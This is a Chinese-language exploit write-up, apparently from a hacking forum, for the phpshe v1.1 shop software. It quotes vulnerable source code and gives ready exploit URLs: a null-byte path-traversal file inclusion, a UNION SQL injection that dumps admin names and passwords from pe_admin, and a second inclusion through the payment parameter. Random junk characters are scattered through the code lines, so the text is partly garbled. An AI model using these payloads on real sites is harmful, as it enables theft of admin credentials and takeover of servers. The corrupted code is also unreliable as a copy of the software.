phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
5 x* I# C) f7 a/* E-Mail : 681796@qq.com
/*******************************************************/
" X( q+ y6 y4 y# c6 M0×00 整体大概参数传输
: L/ o# j8 Z5 w3 n: g1 j0 `/ X7 p% R


  B6 a" E% X: k3 {9 S//common.php
if (get_magic_quotes_gpc()) {
6 P6 q8 B- `7 A7 L; N' f0 o7 a. d!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
; k! h8 |% ~8 q* ~( y}
else {
, }' u7 H, L# f8 W4 Z!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
5 f2 P) m+ f$ \!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
& m, p! T3 P4 T  y' G! \!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
8 V: |; F9 ~4 c1 j4 v& X. n

//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
9 y9 u. D+ K1 i: g6 v& Y: n8 Oinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
. k' Y8 O: C. L9 y$ c! b- |3 E?>
, i8 m! O# s! B  p$ I& q//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
! _4 A  p- {! _3 x$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$ o' g$ L! a6 r$ Q7 G& W$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
2 y- K; M8 E2 z( X

0 n! b" O9 m* Z- }7 q8 x) u. c5 b4 W
0×02 搜索注入
4 r( s' I' I6 J6 Y7 Q/ k0 J+ e
<code id="code2">

//product.php文件
case 'list':
4 l1 r+ f$ u+ G, P0 E& [* D" [$category_id = intval($id);
& V* l3 l2 @4 P, |6 _+ `$info = $db->pe_select('category', array('category_id'=>$category_id));
& O2 L9 _0 Y8 M' v. z7 U//搜索
+ _5 P% v& e$ x7 }  f! J% d$sqlwhere = " and `product_state` = 1";
4 w" v! _) B/ F& F: J; e. {) Spe_lead('hook/category.hook.php');
6 [7 }; u& k' N  S& |- `7 r+ Vif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
# K9 o; p% G# u7 d}
- `' V8 f" _! U9 x$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
! ~4 x* ?- t8 c6 T$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: C; j+ H  k) e}
0 H4 ~+ M9 s5 p0 S" \& t- P) Pelse {
2 h- i7 m4 i( _6 Y: M' q& E$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
4 q6 N. F* m% |7 e% b9 N$product_hotlist = product_hotlist();
- w0 z' x6 q  x2 M9 _" y//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
) T; v% m0 B5 z$ q( a' O9 J; m//跟进selectall函数库
$ V1 `8 n( o3 ]" K' y; i: Z% ~public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
4 C, n* w/ i& H, p//处理条件语句
* ^4 }. A$ K/ h5 x" A! w$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
6 A0 X6 j% _1 E  x  {7 g}
//exp
- Q+ h  b. ~0 i, a9 S  g: ^product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
: z$ }& _" H, i' D5 B2 d/ ]

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

9 i! r/ k3 I; R3 I# t$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

: P- z( @) B3 n8 q5 J* Q" w  u5 m$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

8 J$ x. F1 S- g. C* p0 E: H$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

. k6 q' k9 |! Q( n1 T" h( p6 z! T. Z$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

. U8 a6 e, T3 h) p0 U5 Yif (isset($_p_pesubmit)) {

" ?# R' @8 u8 n! A. i( m2 qif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

! l! x2 `2 b3 J4 ^foreach ($info_list as $v) {

( k- T) d3 P# i$order['order_name'] .= "{$v['product_name']};";

% C! X1 T$ L* O1 o}

* P' J2 [/ N& i1 t( F3 |echo '正在为您连接支付网站，请稍后...';

! `) P0 O/ t, Uinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

' r0 b. _/ Y! C* a- s}//当一切准备好的时候就可以进行"鸡肋包含了"

  B  |- A# L: m$ Y- Belse {

6 O* H- L5 H( t( I0 @1 X' ]% Cpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

% i) |2 M( v, p1 _5 i7 q: ^include(pe_tpl('order_pay.html'));

! N6 [: O( x1 x( abreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
* ]$ O9 ^$ f9 c; e' Hhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg